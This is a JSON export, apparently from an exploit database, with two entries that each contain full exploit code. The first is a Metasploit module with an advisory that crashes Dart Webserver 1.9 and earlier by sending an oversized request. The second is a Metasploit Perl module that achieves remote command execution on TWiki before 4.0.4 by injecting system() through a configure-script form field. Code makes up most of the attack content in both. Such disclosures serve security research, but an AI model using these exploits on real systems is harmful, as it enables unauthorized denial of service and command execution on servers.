{"result": {"zdt": [{"lastseen": "2018-01-26T23:05:58", "references": [], "description": "Exploit for windows platform in category dos / poc", "edition": 2, "reporter": "catatonicprime", "published": "2012-10-03T00:00:00", "title": "Dart Communications Stack Overflow Vulnerability", "type": "zdt", "enchantments": {"score": {"modified": "2018-01-26T23:05:58", "vector": "AV:N/AC:L/Au:S/C:N/I:P/A:N/", "value": 4.0}}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2012-10-03T00:00:00", "id": "1337DAY-ID-19501", "href": "https://0day.today/exploit/description/19501", "sourceData": "Overview\r\n===============\r\nDartWebserver.Dll is an HTTP server provided by Dart Comunications\r\n(dart.com). It is distributed intheir PowerTCP/Webserver For ActiveX\r\nproduct and likely other similar products.\r\n\r\n\"Build web applications in any familiar software development\r\nenvironment. Use WebServer for ActiveX to add web-based access to\r\ntraditional compiled applications.\"\r\n\r\nVersion 1.9 and prior is vulnerable to a stack overflow exception,\r\nthese maybe generated by producing large requests to the application,\r\ne.g. \"a\" * 5200000 + \"\\n\\n\"\r\n\r\nAnalysis\r\n===============\r\nDuring the processing of incoming HTTP requests the server collects\r\ndata until it encounters a \"\\n\\n\" sentinel. If the request is large,\r\nmultiple copies are made and stored on the stack, this consumes the\r\namount of stack space available to the process quickly, leading to a\r\nstack overflow exception being thrown. This exception is not handled\r\nand will typically lead to the termination of the parent process. Some\r\nvariations may exist per system depending on pre-existing memory\r\nconditions and modification of Proof Of Concept (PoC) code may be\r\nnecessary to reproduce the exception.\r\n\r\nTimeline\r\n===============\r\n10/20/2011 - Discovered the bug in an affected vendor application\r\n10/20/2011 - Contacted affected vendor\r\n10/21/2011 - Affected vendor replies stating they can not get the\r\nproduct vendor to create a fix\r\n06/29/2012 - CVE assignment\r\n08/08/2012 - Contacted product vendor providing specifics\r\n08/20/2012 - Product vendor created an issue number (#5654) for the\r\nbug, but reply \"there are not immediate plans to resolve the issue\"\r\n09/28/2012 - Posting to bugtraq, for the first time ever ;-)\r\n\r\nPoC (MSF Module)\r\n===============\r\nrequire 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Auxiliary\r\ninclude Msf::Exploit::Remote::Tcp\r\ninclude Msf::Auxiliary::Dos\r\n\r\ndef initialize(info = {})\r\n super(update_info(info,\r\n 'Description' => %q{ 'Name' => 'Dart Webserver\r\n<= 1.9.0 Stack Overflow',\r\n Dart Webserver from Dart Communications throws a stack\r\noverflow exception\r\n when processing large requests.\r\n }\r\n ,\r\n 'Author' => [\r\n 'catatonicprime'\r\n ],\r\n 'Version' => '$Revision: 15513 $',\r\n 'License' => MSF_LICENSE,\r\n 'References' => [\r\n [ 'CVE', '2012-3819' ],\r\n ],\r\n 'DisclosureDate' => '9/28/2012'))\r\n\r\n register_options([\r\n Opt::RPORT(80),\r\n OptInt.new('SIZE', [ true, 'Estimated stack size to exhaust',\r\n'520000' ])\r\n ])\r\n end\r\n def run\r\n serverIP = datastore['RHOST']\r\n if (datastore['RPORT'].to_i != 80)\r\n serverIP += \":\" + datastore['RPORT'].to_s\r\n end\r\n size = datastore['SIZE']\r\n\r\n print_status(\"Crashing the server ...\")\r\n request = \"A\" * size + \"\\r\\n\\r\\n\"\r\n connect\r\n sock.put(request)\r\n disconnect\r\n\r\n end\r\nend\r\n\r\n\n\n# 0day.today [2018-01-26] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/19501"}, {"lastseen": "2018-03-14T00:28:16", "references": [], "description": "Exploit for cgi platform in category web applications", "edition": 2, "reporter": "David Maciejak", "published": "2006-08-02T00:00:00", "title": "TWiki <= 4.0.4 (Configure Script) Remote Code Execution Exploit (meta)", "type": "zdt", "enchantments": {"score": {"modified": "2018-03-14T00:28:16", "vector": "AV:N/AC:M/Au:M/C:N/I:N/A:P/", "value": 2.8}}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2006-08-02T00:00:00", "id": "1337DAY-ID-634", "href": "https://0day.today/exploit/description/634", "sourceData": "======================================================================\r\nTWiki <= 4.0.4 (Configure Script) Remote Code Execution Exploit (meta)\r\n======================================================================\r\n\r\n\r\n\r\n##\r\n# This file is part of the Metasploit Framework and may be redistributed\r\n# according to the licenses defined in the Authors field below. In the\r\n# case of an unknown or missing license, this file defaults to the same\r\n# license as the core Framework (dual GPLv2 and Artistic). The latest\r\n# version of the Framework can always be obtained from metasploit.com.\r\n##\r\n\r\npackage Msf::Exploit::twiki_config_typeof;\r\nuse base \"Msf::Exploit\";\r\nuse strict;\r\nuse Pex::Text;\r\nuse bytes;\r\n\r\nmy $advanced = { \r\n\t'HttpBoundary' => ['Mtb06z', 'HTTP boundary']\r\n};\r\n\r\nmy $info = {\r\n\t'Name' => 'Twiki Configure script TYPEOF Parameter Remote Command Execution',\r\n\t'Version' => '$Revision: 1.0 $',\r\n\t'Authors' => [ 'David Maciejak <david dot maciejak at gmail dot com>' ],\r\n\t'Arch' => [ ],\r\n\t'OS' => [ ],\r\n\t'Priv' => 1,\r\n\t'UserOpts' =>\r\n\t {\r\n\t\t'RHOST' => [1, 'ADDR', 'The target address'],\r\n\t\t'RPORT' => [1, 'PORT', 'The target port', 80],\r\n\t\t'VHOST' => [0, 'DATA', 'The virtual host name of the server'],\r\n\t\t'DIR' => [1, 'DATA', 'Directory of Twiki', '/twiki'],\r\n\t\t'SSL' => [0, 'BOOL', 'Use SSL'],\r\n\t },\r\n\r\n\t'Description' => Pex::Text::Freeform(qq{\r\n\t\tThis module exploits an arbitrary command execution vulnerability in the\r\n\tTwiki configure script. All versions of Twiki prior to \r\n\t4.0.4 hotfix 2 are vulnerable. Patch HotFix04x00x04x02 is available on twiki.org homepage.\r\n}),\r\n\t'Refs' =>\r\n\t [\r\n\t\t['BID', '19188'],\r\n\t\t['CVE', '2006-3819'],\r\n\t\t['OSVDB', '27556'],\r\n\t ],\r\n\r\n\t'Payload' =>\r\n\t {\r\n\t\t'Space' => 128,\r\n\t\t'Keys' => ['cmd','cmd_bash'],\r\n\t },\r\n\r\n\t'Keys' => ['twiki'],\r\n\r\n\t'DisclosureDate' => 'Jul 27 2006',\r\n };\r\n\r\nsub new {\r\n\tmy $class = shift;\r\n\tmy $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);\r\n\treturn($self);\r\n}\r\n\r\nsub Exploit {\r\n\tmy $self = shift;\r\n\tmy $target_host = $self->VHost;\r\n\tmy $target_port = $self->GetVar('RPORT');\r\n\tmy $dir = $self->GetVar('DIR');\r\n\tmy $encodedPayload = $self->GetVar('EncodedPayload');\r\n\tmy $cmd = $encodedPayload->RawPayload;\r\n\tmy $boundary\t\t = $self->GetLocal('HttpBoundary');\t\t\r\n\r\n\t$cmd=\r\n\t\t\"\\r\\n--\".$boundary.\"\\r\\n\".\r\n\t\t\"Content-Disposition: form-data; name=\\\"action\\\"\\r\\n\\r\\n\".\r\n\t\t\"update\\r\\n\".\r\n\t\t\"--\".$boundary.\r\n\t\t\"Content-Disposition: form-data; name=\\\"TYPEOF:{system('$cmd')}\\\"\\r\\n\\r\\n\".\r\n\t\t\"BOOLEAN\\r\\n\".\r\n\t\t\"--\".$boundary;\r\n\r\n\tmy $proto=\"http\";\r\n\tif ($self->GetVar('SSL'))\r\n\t{\r\n\t\t$proto.=\"s\";\r\n\t}\r\n\r\n\t my $request =\r\n \t\"POST \".$dir.\"/bin/configure HTTP/1.1\\r\\n\".\r\n\t\t\"Content-Type: multipart/form-data; boundary=\".$boundary.\"\\r\\n\".\r\n\t\t\"User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.31-grsec i686)\\r\\n\".\r\n\t\t\"Host: $target_host\\r\\n\".\r\n\t\t\"Referer: \".$proto.\"://\".$target_host.$dir.\"/bin/configure\\r\\n\".\r\n\t\t\"Accept: image/gif, image/x-xbitmap, image/jpeg, image/png\\r\\n\".\r\n\t\t\"Accept-Language: en\\r\\n\".\r\n\t\t\"Content-Length: \". length($cmd). \"\\r\\n\\r\\n\".\r\n\t\t$cmd;\r\n\r\n\tmy $s = Msf::Socket::Tcp->new(\r\n\t\t'PeerAddr' => $target_host,\r\n\t\t'PeerPort' => $target_port,\r\n\t\t'SSL' => $self->GetVar('SSL'),\r\n\t );\r\n\r\n\tif ($s->IsError){\r\n\t\t$self->PrintLine('[*] Error creating socket: ' . $s->GetError);\r\n\t\treturn;\r\n\t}\r\n\r\n\t$s->Send($request);\r\n\r\n\tmy $results = $s->Recv(-1, 200);\r\n\r\n\tif ($results=~ /^transfer-encoding:[ \\t]*chunked\\b/im){\r\n\t\tmy @extract_result;\r\n\t\tmy @results = split ( /\\r\\n/, $results );\r\n\r\n\t\tchomp @results;\r\n\t\tmy $fill_extract_result=0;\r\n\t\tmy $end_break=0;\r\n\t\tmy $i=0;\r\n\t\twhile ( !$end_break && ($i < @results)){\r\n\t\t\tif ($results[$i] =~ /\\<div id=\\\"patternScreen\\\"\\>/)\r\n\t\t\t{\r\n\t\t\t\t$fill_extract_result=0;\r\n\t\t\t\t$end_break=1;\r\n\t\t\t}\r\n\t\t\tif ($fill_extract_result>0) {\r\n\t\t\t\t\tpush(@extract_result,$results[$i]);\r\n\t\t\t}\r\n\t\t\tif ($results[$i] =~ /\\<body class=\\\"patternNoViewPage\\\"\\>/)\r\n\t\t\t{\r\n\t\t\t\t$fill_extract_result=1;\r\n\t\t\t}\r\n\t\t\t$i++;\r\n\t\t}\r\n\r\n\t\tif (@extract_result < 3) {\r\n\t\t\t\t$self->PrintLine(\"[*] Target may be not vulnerable, or you have used ';' char in CMD\");\t\r\n\t\t}\r\n\t\telse {\r\n\t\t\tfor ($i=1;$i<@extract_result;$i+=2) {\r\n\t\t\t\tchomp @extract_result;\r\n\t\t\t\t$self->PrintLine(\"$extract_result[$i]\");\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t$s->Close();\r\n\treturn;\r\n}\r\n\r\nsub VHost {\r\n\tmy $self = shift;\r\n\tmy $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');\r\n\treturn $name;\r\n}\r\n\r\n1;\r\n\r\n\r\n\n# 0day.today [2018-03-13] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/634"}]}}